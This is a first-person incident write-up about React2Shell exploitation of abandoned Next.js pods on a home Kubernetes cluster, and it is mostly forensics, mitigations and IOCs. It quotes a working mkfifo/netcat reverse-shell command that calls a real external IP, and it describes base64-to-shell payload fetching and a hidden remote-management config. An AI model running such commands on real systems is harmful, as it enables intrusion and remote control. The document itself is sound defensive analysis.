Introduction
I run Kubernetes clusters, game servers, and several web applications at home. I had migrated the services I regularly used to a new system, but left part of the old Kubernetes environment running and exposed to the internet. As I stopped using it, I also stopped updating its dependencies and monitoring it.
The old environment was repeatedly attacked and, without my realizing it, had effectively become a honeypot. Programs installed after the compromises kept running and consuming CPU and bandwidth.
The reason I noticed something unusual was the lag on the game server running on the same Kubernetes worker node. There were 5,507 zombie processes on the worker node, system CPU was about 90%, and load average was about 138.
Tracing the process tree on the host showed that a large number of processes had been launched under next-server. I used cgroups to identify the responsible Pods. When I stopped the Pod generating the load, both the zombie count and system CPU usage dropped immediately. I then examined the containers’ writable layers, outbound connections, and public proxy logs.
The investigation found that three Next.js workloads in the old environment had been compromised. One had its CPU resources hijacked, another was used for proxyjacking and remote access, and the third still contained a reverse shell.
This article documents what the attackers did and the defensive measures that would have limited the damage.
This account is based on access logs, container writable layers, running processes, and network activity preserved through July 25, 2026. Records lost before the investigation could not be examined. The IP addresses and domains listed here were observed as connection destinations at the time; their inclusion does not mean they remain malicious or that their registrants participated in the attacks.
Background
Environment
The target is an old Kubernetes cluster that was operated by an individual. It consisted of one control plane and two workers, and used Kube-OVN for the Pod network. The three compromised Next.js workloads were running on the same worker. This worker also had a game server, and the load on the Pod manifested itself as game lag.
| Item | Configuration |
|---|---|
| Kubernetes | 1 control plane, 2 workers |
| CNI | Kube-OVN |
| Target applications | Three workloads using Next.js 15.1.0 or 15.3.3 |
| Exposure path | HAProxy on a public reverse-proxy VM forwarded traffic to Caddy or a Kube-OVN LoadBalancer |
| Co-resident service | Game server on the same worker |
There were two types of public routes depending on the application.
Internet
└─ Public reverse-proxy VM
└─ HAProxy
├─ Kube-OVN LoadBalancer
│ └─ ingress-nginx
│ └─ Next.js Pod
└─ Caddy
└─ Next.js Pod
The Pods were inside a Kube-OVN VPC, isolated from the worker and control-plane management networks and from other VPCs. Outbound internet access was allowed.
The Pods were not privileged, and both hostPID and hostNetwork were disabled. They did not share the host mount namespace and had no hostPath or PVC mounts.
The Pod consuming the CPU ran as a non-root user with no additional Linux capabilities.
Times in the text are in UTC unless otherwise specified.
What is React2Shell?
React2Shell is a vulnerability that can exploit processing in React Server Components to execute code on the server without authentication. It is disclosed as CVE-2025-55182 on the React side and CVE-2025-66478 on the Next.js side.
The compromised applications were running Next.js 15.1.0 or 15.3.3 using App Router. Both are versions affected by React2Shell.
- Next.js Security Advisory: CVE-2025-66478
- JPCERT/CC: Incidents Involving Multiple Threat Actors Exploiting React2Shell
Input to React Server Components is processed on the server as a multipart request. React2Shell abuses that processing path. I correlated multipart POST requests carrying Next-Action with the changes under next-server immediately afterward. On May 12, a child process appeared under next-server 17 seconds after a POST arrived, and an ELF executable was written to disk.
What the Attacks Did
The three workloads contained programs serving different purposes. I refer to them below as workloads A, B, and C.
| Name | Main damage |
|---|---|
| A | A CPU-consuming ELF and thousands of zombie processes |
| B | TraffMonetizer, Global Socket, remote management tool |
| C | ELF before rebuilding and reverse shell after rebuilding |
Indiscriminate Scanning of Public Hosts
Attack method: vulnerability scanning and exploitation of a public-facing application
Broadly, this activity consisted of two stages: vulnerability scanning, which automatically checks whether a host or application appears vulnerable, and exploitation of a public-facing application to gain access. Scanners infer exploitability from details such as the software, version, and response behavior; exploitation then uses a software flaw or misconfiguration to obtain initial access (MITRE ATT&CK: T1595.002 Vulnerability Scanning, MITRE ATT&CK: T1190 Exploit Public-Facing Application).
POSTs targeting React2Shell were sent not only to /, but also to /api, /dashboard, language-specific paths, etc.
POST / HTTP/1.1
Next-Action: x
Content-Type: multipart/form-data;
boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Length: 2206
POST / HTTP/1.1
Next-Action: x
Content-Type: multipart/form-data;
boundary=----WebKitFormBoundaryHitTheGas
Content-Length: 131879
User-Agent pretended to be Windows, macOS, Linux, iPhone, etc. Under the same public proxy, POSTs in the same format are also delivered to backends other than Next.js. It seems that the vulnerabilities were not targeted at a specific application, but were sent in sequence to the public destinations that responded from the outside.
POSTs in the same format reached at least seven public applications, including services that did not use Next.js. Separately, I found 3,652 requests from LeakIX’s l9scan. The attackers appeared to be testing any internet-facing host that responded, regardless of the application’s purpose.
We extracted 14,813 POSTs that matched or were similar to known attack formats between April 16th and July 25th, when Ingress access logs were available. Since the total is based on request size, etc., it is possible that normal POSTs are included. This does not mean that all 14,813 cases were successfully compromised.
| Request size | Number of requests | Observation period | Features |
|---|---|---|---|
| 1,579 bytes | 580 | 04-16~07-24 | Chrome 142 impersonation |
| 2,065 bytes | 4,287 | 05-12~06-18 | Chrome 112 impersonation |
| 57,303 bytes | 3,352 | 05-12 to 07-25 | 17 seconds difference from ELF placement in case of 05-12 |
| 57,313 bytes | 413 | 06-17~06-21 | Concentrate on short term |
| 2,716 bytes | 1,429 | 06-18 to 07-24 | Format that uses a body of 2,206 bytes |
| 56,955 bytes | 1,962 | 06-21 to 07-25 | Approximately 71 minute cycle, often 2 consecutive entries |
| 65~70KB | 2,677 | 04-16~07 | Change User-Agent and path |
| 130~136KB | 113 | 04-16~07 | HitTheGas format |
This number alone does not indicate which POSTs were successfully compromised. In the May 12th log, a child process of next-server was started 17 seconds after receiving a POST of 57,303 bytes, and ELFs were placed in /tmp and /dev/shm at the same time.
2026-05-12T08:42:32.767717221Z "<lb-ip> POST / HTTP/1.1" 303 ... 2065 ... <pod-ip>:3000
2026-05-12T08:42:33.283763683Z "<lb-ip> POST / HTTP/1.1" 303 ... 2065 ... <pod-ip>:3000
2026-05-12T08:47:53.316613353Z "<lb-ip> POST / HTTP/1.1" 303 ... 57303 ... <pod-ip>:3000
2026-05-12T08:47:53.623768811Z "<lb-ip> POST / HTTP/1.1" 303 ... 57303 ... <pod-ip>:3000
| Time (UTC) | Movement |
|---|---|
| 08:42:32 | Received 2 POST / of 2,065 bytes |
| 08:47:53 | Received 2 POST / of 57,303 bytes |
| 08:48:10 | Suspicious process started under next-server |
| 08:48 | Place ELF with the same hash value in /tmp and /dev/shm |
The access log status was 303. However, 303 alone does not tell you whether the code was successfully executed. The clue was that a child process of next-server started 17 seconds later, leaving an ELF with the same time.
No corresponding request text remained. We were able to confirm that the target was a vulnerable version, that a POST in React2Shell format was received, and that 17 seconds later, a suspicious process was started under next-server and ELF was deployed. The fact remains that the command executed within POST remains.
Payload Retrieval and Execution
Attack method: command execution and ingress tool transfer
This attack typically involves executing shell or OS commands on the compromised server and then importing and launching additional scripts or executables from external systems. If OS commands are executed illegally, files may be viewed or altered, malicious programs may be downloaded and executed, or backdoors may be installed. T1105 Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105/)).
After the intrusion, the attacker did not suddenly start an aggressive program from Next.js. First, the shell was started, the file obtained from the outside was placed in /tmp or /dev/shm, and then executed.
In workload B, sh decrypted the base64 string and passed its contents to another sh to run /tmp/XX*.
sh
-> base64
-> sh
-> /tmp/XX*
wget and BusyBox’s ssl_client were used to retrieve the file. Even in containers that do not have curl, HTTPS communication is possible by combining ssl_client with a shell.
The ELF placed in /tmp/XX* was 3,265,176 bytes and compressed with UPX. Files with the same hash value were repeatedly placed with different names from March 26th to April 1st.
For workload A, 5,496,348 bytes of ELF were expanded to /tmp and /dev/shm. The files were also renamed with the same hash value, and repositioned on May 12th, June 16th, and June 17th.
Compute Hijacking
Attack Method: Compute Hijacking
This attack is generally referred to as “compute hijacking,” and is a method of using computing resources such as the CPU and GPU of a compromised server or container for processing by the attacker, such as mining crypto assets, without permission. Because it consumes a large amount of computational resources, it may cause processing delays or unresponsiveness of the target system (MITRE ATT&CK: T1496.001 Compute Hijacking).
In workload A, processes with random names were spawned one after another under next-server. Although the executable files are ELF with the same hash value, they were repeatedly placed in /tmp and /dev/shm with names similar to systemd-udevd and kworker.
/tmp/.data.bin
/tmp/.config.json
/tmp/.kworker/.data.bin479
/tmp/.systemd/.rcu_bh
/dev/shm/.data.bin349
/dev/shm/.systemd-udevd
/dev/shm/.ksoftirqd-0833
The running process had the following characteristics:
- arguments containing
donate-level - Process running from deleted
/tmp/memory_load.x86_64 - Continuous CPU usage
- Stopping conflicting processes with
pkill -f - Execution name similar to
systemdorkworker
donate-level is an argument used in crypto asset mining programs. The behavior of continuing to use the CPU and stopping competing processes is also commonly seen in mining malware.
Approximately 4,600 zombie processes remained under next-server for Workload A and 906 for Workload B. Zombie processes themselves do not use CPU. What was causing the load was a lot of fork, exec, termination processing, and signal processing that was repeated before the process remained as a zombie.
In fact, processes such as pkill -f ssl_client were also running.
Attacks that exploit React2Shell to install XMRig have also been reported by JPCERT/CC and Google Threat Intelligence Group.
It was not possible to determine whether this ELF is a crypto asset miner itself or a loader. XMRig specific strings, mining pools, and wallet addresses were also not found. We can confirm that this ELF was using the CPU because the load dropped significantly immediately after stopping the Pod.
At the time ELF was replaced on June 16th, there was no corresponding new POST. It is not known whether the remaining scripts were re-executed or deployed via remote control channels.
Bandwidth Monetization
Attack Method: Proxy Jacking (Bandwidth Hijacking)
This activity is generally called bandwidth hijacking. More specifically, using a compromised device’s bandwidth and IP address as part of a paid proxy service is known as proxyjacking. The victim’s internet connection and IP address are then used without permission for third-party traffic or internet scanning (MITRE ATT&CK: T1496.002 Bandwidth Hijacking).
Workload B had a TraffMonetizer client running with the name crond-sync. The binary contained strings such as blnc.traffmonetizer.com, bandwidth, balance, and billing, which connected to 64.34.83.195:769. The startup arguments are in start accept --token format.
TraffMonetizer is a legitimate service that lets users share a device’s internet connection in return for payment. In this container it was started with a token the administrator had not issued, allowing the attacker to profit from the server’s bandwidth.
Remote Access
Attack method: Backdoor/Remote Access Tool (RAT)
This attack is generally described as a “backdoor” that leaves a communication path open for external manipulation even after a breach, or a “Remote Access Tool” in which an attacker exploits a remote control/management tool. These routes are used for interactive command execution, file manipulation, creation of communication tunnels, etc., and serve as a remote control method different from the one used during intrusion (IPA: Be careful of how remote control software (apps) are abused!, MITRE ATT&CK: T1219 Remote Access Tools).
In the same workload B, Global Sockets were running with the names terminate-engine and terminate-helper. The binaries had unique strings such as gs-mount, gs-sftp, GSRN, SOCKS, and interactive shell, where terminate-engine established a TLS connection to 212.132.98.170:443.
Global Socket is a legitimate tool that allows you to create a tunnel from inside a NAT or firewall to the outside. In the JPCERT/CC React2Shell case study, a shared secret and relay network are used as a backdoor to manipulate bash from the outside.
Additionally, a remote management tool called crond-helper was also installed.
{
"access_key": "[REDACTED]",
"log_level": "fatal",
"enable_terminal": true,
"enable_files": true,
"enable_metrics": true,
"auto_update": true,
"hide": true
}
The configuration file enabled remote terminal operations, file operations, automatic updates, and tool hiding.
The remote management tool was making HTTPS connections to multiple external addresses.
| Process | Connection destination | Contents |
|---|---|---|
terminate-engine |
212.132.98.170:443 |
Global Socket relay server |
crond-helper |
104.16.132.229:443, etc. |
Cloudflare shared address |
crond-helper |
47.131.179.185:443 |
Remote management tool connection destination |
crond-helper |
54.251.8.68:443, etc. |
Remote management tool connection destination |
Since the connection destination also includes a shared CDN, it cannot be determined that it is a C2 server just by looking at the IP address. When I stopped the Pod, all these communications disappeared.
crond-helper and the startup script were added on May 24th, Global Socket on June 17th, TraffMonetizer on June 21st, and remote management tool configuration file on June 25th. Different features were added to the same container on different days.
Reverse shell
Attack method: Reverse Shell
This attack, commonly referred to as a “reverse shell,” involves initiating communication from the compromised system to an external destination and connecting the shell’s input and output to that socket. By creating a shell over the network using outbound communication, attackers can execute arbitrary commands after compromise (Google Cloud: Reverse Shell, JPCERT/CC: GobRAT malware written in Go language targeting Linux routers).
In workload C, the following command was running as a child process of next-server.
next-server
└─ /bin/sh -c rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 103.149.253.59 4448 >/tmp/f
├─ cat /tmp/f
├─ /bin/sh -i
└─ nc 103.149.253.59 4448
This is a reverse shell that connects an interactive shell to netcat via /tmp/f created with mkfifo. The FIFO update time and process start time were both March 25th, 12:44:19 (UTC). Processes and FIFO remained on July 25th.
CLOSE-WAIT 172.31.0.31:44469 -> 103.149.253.59:4448
CLOSE-WAIT is a state in which the local process does not close the socket even after the other party disconnects. This does not indicate that the attacker was able to operate until July 25th. What remained for 121 days is the reverse shell process and FIFO.
Workload C’s Pod restarted midway and the container was recreated. Before the re-creation, /tmp/XXgdpCBC was placed in the container write layer at 16:48:22 (UTC) on March 24th. The hash value is the same as Workload B’s /tmp/XX*. Immediately after that, 4 tee: /etc/hosts: Permission denied remained in the application log, and the container stopped with exit code 137 at 16:48:40.
Additionally, a reverse shell was installed on the container after it was automatically recreated on March 25th.
Attempt to connect to Instance Metadata Service
Attack Method: Attempt to access Instance Metadata Service
This attack generally attempts to access the Instance Metadata Service in a cloud environment and obtain instance information, temporary authentication information, etc. In major cloud environments, 169.254.169.254 is widely used as a Metadata API connection (MITRE ATT&CK: T1552.005 Cloud Instance Metadata API).
A process masquerading as kworker was sending a large number of SYNs to 169.254.169.254:80. 169.254.169.254 is the address used for Instance Metadata Service in many cloud environments.
The communication stopped at sending the SYN and did not proceed to the HTTP response. I was trying to connect to the Instance Metadata Service, but it doesn’t seem to be able to retrieve any information.
Names Masquerading as Legitimate Processes
Attack method: Process impersonation (Masquerading)/Executable file packing
These attacks are generally divided into “impersonation,” which gives a malicious file or process a name and location similar to a legitimate program, and “packing,” which compresses and encrypts the executable file and changes its content and file signature. Both are used to make discovery, signature detection, and analysis difficult for users and security products (MITRE ATT&CK: T1036 Masquerading, MITRE ATT&CK: T1027.002 Software Packing).
The processes and files used in the attack were disguised with names that appeared to be systemd services or kernel threads.
-systemd.service
-systemd-udevd
-npm_update
-syslog-ng-abc1c
-kworker
-ksoftirqd
-dev bin
- Random
XX*
Both are user-space ELFs running inside containers, rather than real systemd services or kernel threads. The main ELF was compressed with UPX, making it difficult to parse due to both file name spoofing and packing.
Multiple Campaigns Overlapped
According to Caddy’s access logs, container file times, and process start times, attack attempts began in February, and post-intrusion activities began on March 24th.
| Timing (2026, UTC) | Activities |
|---|---|
| 02-07 | Receive large POST in React2Shell format |
| 03-24 | Place ELF in the container before rebuilding workload C |
| 03-25 | Installing reverse shell |
| 03-26~04-01 | Repeated placement of /tmp/XX* |
| 05-01 | Execute shell script hidden in base64 |
| 05-12 | Place ELF that occupies the CPU 17 seconds after POST |
| 05-24 | Deploying remote management tools and startup scripts |
| 06-17 | Start Global Socket |
| 06-21 | Start TraffMonetizer |
| 06-25 | Create configuration file for remote management tool |
| 07-25 | Infringement discovered due to game server lag |
There are multiple patterns for POST size, transmission cycle, multipart boundary, and how to create User-Agent, and the programs placed and activity times also do not match. We believe that separate attacks overlapped on the same vulnerable public environment.
Discovery and Containment
After discovering the compromise, I first removed the public domain from DNS. That closed the DNS-based route to the public applications, but Global Socket and TraffMonetizer continued running because they initiated outbound connections from the containers.
I then made the compromised Deployment and StatefulSet replicas: 0. When we stopped the two Pods that were generating the load, the number of zombie processes went down to 0, and outbound communication associated with connection attempts to the Global Socket, TraffMonetizer, and Instance Metadata Service also stopped. The Pod for workload C, where the reverse shell remained, was also stopped.
| Item | Before stopping | After stopping compute-hijacking Pod | After stopping proxyjacking Pod |
|---|---|---|---|
| Number of processes | 6,691 | 1,772 | 848 |
| Zombie Process | 5,507 | 906 | 0 |
| system CPU | approximately 90% | approximately 1% | normal |
| load average | approximately 138 | 2.02 | normal |
The values in the table were obtained just before and after each Pod was stopped. Deleting DNS closed the new HTTP attack vector, but the suspicious process that was already running and outbound communication stopped after changing replicas: 0.
Discussion
The following diagram summarizes the common flow from evidence remaining across multiple workloads and time periods. Because we are combining separate cases into one, it does not mean that a single attacker did everything in this order.
Abandoned Next.js application left exposed
↓ React2Shell-style POST
Shell executed with next-server's privileges
↓ Files retrieved with wget or ssl_client
Scripts and ELF executables written to /tmp or /dev/shm
├─ Consume CPU and PIDs
├─ Monetize bandwidth with TraffMonetizer
├─ Enable remote access through Global Socket, a RAT, or a reverse shell
└─ Probe the Instance Metadata Service and paths outside the container
Why the Environment Was Compromised
We believe that the entry point was React2Shell. This is because the affected Next.js 15.1.0 and 15.3.3 were released without being updated, and 17 seconds after receiving the React2Shell format POST, a child process of next-server was started and ELF was deployed.
A POST in the same format was also received by another application under the same public proxy. The old environment was not targeted individually, but rather the attack was sent broadly to public hosts and reached the environment that was left unupdated.
The main cause was leaving an environment that was no longer in use. Even though I removed it from updates and monitoring, I left the public route open.
The Post-Compromise Path
In the May 12th log, a child process of next-server was started 17 seconds after the React2Shell-style POST, and ELF was placed in /tmp and /dev/shm. In Workload B, the shell decrypted the base64 string and executed the file obtained with wget or BusyBox’s ssl_client. Starting with RCE, we progressed to the stage of acquiring and executing additional programs within the container.
The objectives after the intrusion seem to be various. Activities that monetize CPUs and lines, leave remote control routes separate from HTTP, and explore routes outside Instance Metadata Service and containers have been confirmed. The same vulnerable entry point was repeatedly exploited, with different POST formats, deployed programs, and different times of activity.
The failure to restrict outbound communications was also a contributing factor to the widespread damage. Payload acquisition, TrafficMonetizer, Global Socket, remote management tool, and reverse shell all work because the container can connect to the Internet. It was necessary to stop not only the public entrance route, but also the communication out of the container after intrusion.
How Far the Attackers Got
Although the application was infiltrated using RCE, the configuration was such that it could not proceed outside the Pod. The Pods were located in Kube-OVN’s VPC, isolated from other VPCs and the management network. Additionally, the Pod was not privileged, did not share the host namespace, and did not mount hostPath, so malicious files such as authorized_keys that were created inside the container never reached the worker files.
The ServiceAccount token was available to the container, but RBAC does not allow secret retrieval or workload modification.
Not giving hostPath or excessive RBAC privileges was a barrier to moving outside the container.
It wasn’t enough about resource limits. A compromised Pod used the same worker’s CPU and PID, impacting other VMs and Pods within the host.
Why Detection Took So Long
Post-intrusion activity can be seen from March 24th, but it was discovered on July 25th. Because the old environment was excluded from monitoring, there was no mechanism to notify abnormalities in CPU, number of processes, or outbound communication.
This time, there was someone who happened to be using a game server that was running in the old environment, and I was able to notice that there was a report that it was laggy. However, without this report, discovery may have been delayed even further.
There were also insufficient HAProxy access logs, Kubernetes Audit Logs, network communication logs, and host audit logs.
Where Defenses Were Needed
It’s not just a matter of applying a patch and closing the entryway. It is also necessary to delete programs left on compromised Pods, restrict outbound communication, and change authentication information.
We will organize the issues identified in this case by defensive measures.
| Shortages and risks confirmed this time | Corresponding defenses |
|---|---|
| Vulnerable old environment and disclosure routes remained | Inventory of public assets and patch application |
| File placement and process execution were possible after RCE | Usable permissions and write destination restrictions after intrusion |
| Payload acquisition and remote control were established through outward communication | Control of outward communication and blocking of Instance Metadata Service |
| ServiceAccount token was available from container | Stopping automatic mounting of token and least privilege RBAC |
| CPU and PID affected co-existing services | Limitations on CPU, memory, and PID |
| Discovery of anomalies and follow-up investigations were delayed | Alerts, audit logs, communication records, runtime detection |
| Programs left behind after intrusion | Quarantine, rebuild, change credentials |
Mitigations
From here, we will organize the countermeasures in the order of pre-intrusion, post-intrusion, and recovery.
1. Inventory public assets and close entry points
Maintain an inventory of every public application and device you operate. I used NetBox to manage the new system, but neglected the old one because keeping it current felt like a chore.
NIST Cybersecurity Framework 2.0’s Asset Management also calls for maintaining an inventory of hardware, software, systems, and services and managing them throughout their lifecycles.
To support React2Shell, update to an unaffected version according to the official Next.js advisory. The corrected version is 15.1.9 or later for the 15.1 series, and 15.3.6 or later for the 15.3 series.
2. Restrict permissions and write destinations within the container
There are three levels of Kubernetes Pod Security Standards: Privileged, Baseline, and Restricted. For normal web applications, you can prevent the creation of Pods with excessive privileges by using Restricted as the standard and setting Pod Security Admission to enforce for each namespace.
- Kubernetes: Pod Security Standards
- Kubernetes: Apply Pod Security Standards at the Cluster Level
- Kubernetes: Advanced Pod Configuration
For a web application like this one, first set the following securityContext. If you want to enable readOnlyRootFilesystem, separately mount emptyDir etc. to the directory where the application writes.
securityContext:
runAsNonRoot: true
allowPrivilegeEscalation: false
readOnlyRootFilesystem: true
capabilities:
drop:
- ALL
seccompProfile:
type: RuntimeDefault
Although this setting does not prevent RCE itself, it reduces the number of system calls, Linux capabilities, and write destinations that can be used after intrusion. Limit hostPID, hostNetwork, hostPath, and privileged containers to only Pods with clear uses.
3. Close outbound communication and routes to Instance Metadata Service
In principle, outward communication is denied, and only DNS, necessary APIs, and specified external services are allowed using NetworkPolicy. Even if you set NetworkPolicy, it will not work if it cannot be enforced on the CNI side.
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: default-deny-egress
spec:
podSelector: {}
policyTypes:
- Egress
This policy also blocks DNS, so for pods that require name resolution, only cluster DNS is allowed in a separate rule. Instance Metadata Services such as 169.254.169.254/32 are also targeted for blocking. Many of the payload acquisitions and remote operations from outside that we confirmed this time can be blocked with this control. The Kubernetes Security Checklist also lists inbound and outbound communication policies for all workloads and restricted access to metadata APIs.
4. Minimize ServiceAccount and RBAC
ServiceAccount tokens are not mounted on Pods that do not use the Kubernetes API.
spec:
automountServiceAccountToken: false
Create a dedicated Service Account for applications that require the Kubernetes API, and limit target namespaces, resources, and operations to the minimum necessary. Use tokens with limited expiration and usage instead of static tokens that are valid for a long time. Even if a Pod is compromised, if the token privileges are small, it will be difficult to spread within the cluster. The Kubernetes Security Checklist also recommends not mounting unnecessary ServiceAccount tokens.
5. Limit CPU/Memory/PID
By setting requests and limits for each container for CPU and memory, you can prevent a compromised Pod from using up the resources of the coexisting service.
resources:
requests:
cpu: 100m
memory: 128Mi
limits:
cpu: 500m
memory: 512Mi
Values are examples. If you decide based on actual measurements during normal and peak times and also use LimitRange and ResourceQuota, you can prevent omissions in settings for each namespace.
CPU and memory limits alone cannot stop PID exhaustion due to large amounts of fork. The kubelet podPidsLimit is also required for a sudden increase in the number of processes like this. By using systemReserved and kubeReserved together, you can also secure the PID used by nodes and Kubernetes daemons.
apiVersion: kubelet.config.k8s.io/v1beta1
kind: KubeletConfiguration
podPidsLimit: 512
512 is an example. Measure the number of processes under normal conditions, and decide on a value with a margin depending on the worker’s usage.
6. Detect abnormalities and keep records necessary for investigation
Metrics and alerts
If you just look at the dashboard, you will miss abnormalities like this one. Continuously collects CPU usage, load average, number of processes, number of zombie processes, OOM, and Pod outbound traffic, and notifies you if conditions continue to deviate from normal.
I think it’s common in Kubernetes to collect metrics with Prometheus, visualize them with Grafana, and notify with Alertmanager. I think it would be a good idea to use something like Zabbix.
In this case, the following items can be used for detection:
| Observation items | Changes to be alerted |
|---|---|
| Node system CPU and load average | Continuous high load, load average that greatly exceeds the number of CPUs |
| Number of processes and number of zombie processes | Rapid increase in a short time |
| Memory pressure and OOM | Occurrence of OOM, sudden decrease in free memory |
| CPU, memory, and transmission amount by Pod | Rapid increase from normal times |
| Restarting the container | Short restart, exit code 137 |
| Ingress・Caddy・HAProxy | Large-capacity POST with Next-Action, rapid increase in the number of requests |
| Outgoing Connections | Connections to Unauthorized IPs, Relay Servers, and Instance Metadata Service |
| Kubernetes API | Secret acquisition, pods/exec, RBAC change |
node_exporter provides hardware and OS metrics for Linux hosts. It is not possible to distinguish between shell startup, execution from /tmp or /dev/shm, and execution of ELF that is not included in the container image.
To detect attacks like this one, we supplement with runtime detection such as Falco. Falco’s standard rules include detecting the execution of binaries brought into containers and files on /dev/shm.
- Prometheus: Monitoring Linux host metrics with Node Exporter
- Falco: Cloud Native Runtime Security
- Falco: Default Rules
Retain Logs That Support an Investigation
In a configuration that uses multiple proxies, it is better to configure settings so that the original client IP can be inherited to the next stage. PROXY protocol can be used for TCP and X-Forwarded-For for HTTP. By limiting the proxies you trust and passing the client IP to the proxy or application that outputs access logs, you can use it to investigate the source of the attack. The official documentation for HAProxy and Caddy shows how to set it up.
The access log records the source IP, Host, path, status, request size, User-Agent, forwarding destination, and connection time.
If you leave at least the operations for Secret, ServiceAccount, Role/RoleBinding, Pod, Deployment, StatefulSet, and pods/exec in the Kubernetes Audit Log, you can trace the movement from the container to the cluster later. You can select the audit policy level for each resource, such as Metadata, which leaves only the metadata, and Request, which leaves the request body as well. It is appropriate to keep sensitive resources in Metadata so that the Secret value is not replicated to the audit log.
If there is a communication record on the network side, you can later track which Pod has connected to where. On the host, events from auditd or runtime detection are clues. These logs are transferred to a location separate from the compromised node and retained for the period necessary for investigation.
7. Isolate and Restore a Trusted State
If compromised, it saves process information, communication status, container write layer, and related logs, and immediately isolates workloads. Kubernetes allows you to apply a NetworkPolicy for isolation. If you are in a situation where you can stop the service, set the Deployment or StatefulSet to replicas: 0 and stop the Pod.
After containment, identify the affected hosts and services and remove entry points and persistence mechanisms. NIST SP 800-61 Rev. 3 also provides a flow to identify all affected targets and remove exploited vulnerabilities and persistence after containment.
Compromised containers are rebuilt from trusted base images and dependencies, rather than just removing suspicious files and not reusing them. If you still suspect that the host is compromised, rebuild the worker nodes from a trusted image as well.
It also changes the credentials, application secrets, and session signing keys that were accessible from the Pod. The official Next.js advisory also recommends rotating application secrets after patching and redeploying applications that were published in an unmodified state.
Conclusion
The latest breach began with a public access route from an old environment that was no longer in use. Don’t be too lazy to shut down devices that you no longer use. (self-discipline) Because it was a personal environment rather than an engineering plastics environment, management was sloppy.
Additionally, Article 8 of the Unauthorized Access Prohibition Act stipulates that access administrators must endeavor to properly manage identification codes, confirm the effectiveness of access control, and improve functionality as necessary. It seems that it is not a penalty, but an obligation to make efforts to take defensive measures.
- e-Gov law search: Act on Prohibition of Unauthorized Access
- National Police Agency: Unauthorized access measures
As long as your home server is exposed to the Internet, it is still a live target for attackers. Just because the line is in your home does not mean that the damage is limited to your own environment. IPA also raises the possibility that hijacked home network equipment could become a relay point for attacks on third parties, and as a result could become complicit in attacks.
For those of you who are reading this and have a home server, why not take stock of not only what you are running, but also what you have forgotten.
Appendix
IOC
Connection destinations include relay servers, authorized services, shared CDNs, and discovery destinations. In both cases, it is not the source IP of the HTTP attack, and the IP address alone cannot be determined to be malicious.
| Type | Value | Purpose |
|---|---|---|
| SHA-256 | ff990066f7860be6f2893550e58c0ab485c330edc8a4a55a289557004eb9ef99 |
ELF that occupied the CPU |
| SHA-256 | bdb1991d4c6577c48379d9761a47728211eb6d156e8561fe02091ef9eb01510e |
UPX compressed ELF placed in /tmp/XX* |
| SHA-256 | 3d20954cfb7e27be415a74f59bc3b9adad57b3de6362673cadb7629524642c60 |
TraffMonetizer |
| SHA-256 | df6a1c285344d633469e9137cd8e0f0b878443561f24e462a08a0954eaf725bf |
Global Socket |
| SHA-256 | 4f13658749cabea30065af4356cc16b8f1cd46f88b7a721b663bb5109a7a98be |
Remote management tool |
| SHA-256 | f6de3424f2eb38e8db7ac9213cfadaa11d2a16d4d090c0cecc6381d7890f1126 |
Remote management tool startup helper |
In addition to IP addresses and hashes, the following strings and process shapes can be used for searches.
| Type | Value | Location/use confirmed this time |
|---|---|---|
| Domain | blnc.traffmonetizer.com |
String in TraffMonetizer binary |
| Process name | crond-sync |
TraffMonetizer |
| Process name | crond-helper |
Remote management tool |
| Process name | terminate-engine, terminate-helper |
Global Socket |
| File path | /tmp/XX* |
UPX compressed ELF |
| File path | /tmp/.systemd/.rcu_bh |
ELF that occupied CPU |
| File path | /dev/shm/.systemd-udevd |
ELF that occupied CPU |
| HTTP | POST in multipart format with Next-Action |
Request in React2Shell format |
| multipart boundary | ----WebKitFormBoundaryx8jO2oVc6SWP3Sad |
Format that uses a 2,206-byte body |
| multipart boundary | ----WebKitFormBoundaryHitTheGas |
Format that uses a body of 130 to 136KB |
| Process shape | Combination of mkfifo, nc, /bin/sh -i |
Reverse shell |
TraffMonetizer and Global Socket also have legitimate uses. Do not infer a compromise from a name or destination alone; correlate it with files absent from the container image, unexpected launch arguments, and outbound traffic. HTTP headers and file paths are not proof of an attack by themselves either.
The IPs confirmed for outbound communication are as follows. “Country/Region” is the registered country of the Regional Internet Registry (RIR) or the region announced by the cloud provider, and does not indicate the location of the attacker.
| IP address | Country/region | ASN/service | Uses confirmed this time |
|---|---|---|---|
103.149.253.59:4448 |
Vietnam | AS135918 / Viet Digital Technology | Reverse shell connection destination |
64.34.83.195:769 |
No registered country | AS396356 / Latitude.sh | TraffMonetizer peer/control communication |
212.132.98.170:443 |
Germany | AS8560 / IONOS SE | Global Socket relay destination |
104.16.132.229:443, 104.16.133.229:443 |
Anycast | AS13335 / Cloudflare | HTTPS connection destination for remote management tool. Cloudflare shared address |
172.67.160.216:443, 104.21.14.253:443, 172.67.138.72:443 |
Anycast | AS13335 / Cloudflare | HTTPS connection destination for remote management tool. Cloudflare shared address |
47.131.179.185:443, 54.251.8.68:443, 3.0.83.45:443, 54.254.169.246:443, 54.251.56.155:443 |
Singapore | AS16509 / Amazon Web Services ap-southeast-1 |
Connection destination for remote management tools. Unable to determine whether it is C2 or the search destination |
169.254.169.254:80 |
Link Local | Cloud Instance Metadata Service | Connection Attempt. Does not proceed to HTTP response |
The ASN was confirmed with RIPEstat and each RIR’s RDAP, the AWS region was confirmed with the AWS public IP range, and the Cloudflare address range was confirmed with Cloudflare official information.
MITRE ATT&CK
| Technique | This move |
|---|---|
| T1190 Exploit Public-Facing Application | Execute the process under next-server after POST in React2Shell format |
| T1059.004 Unix Shell | Script execution using sh and base64 |
| T1105 Ingress Tool Transfer | File acquisition using wget and ssl_client |
| T1496.001 Compute Hijacking | ELF continues to use CPU |
| T1496.002 Bandwidth Hijacking | Line monetization with TraffMonetizer |
| T1219 Remote Access Tools | Global Socket and remote management tools |
| T1552.005 Cloud Instance Metadata API | Attempt to connect to 169.254.169.254:80 |
| T1036 Masquerading | Process name spoofing to systemd, kworker, etc. |
| T1027.002 Software Packing | ELF compressed with UPX |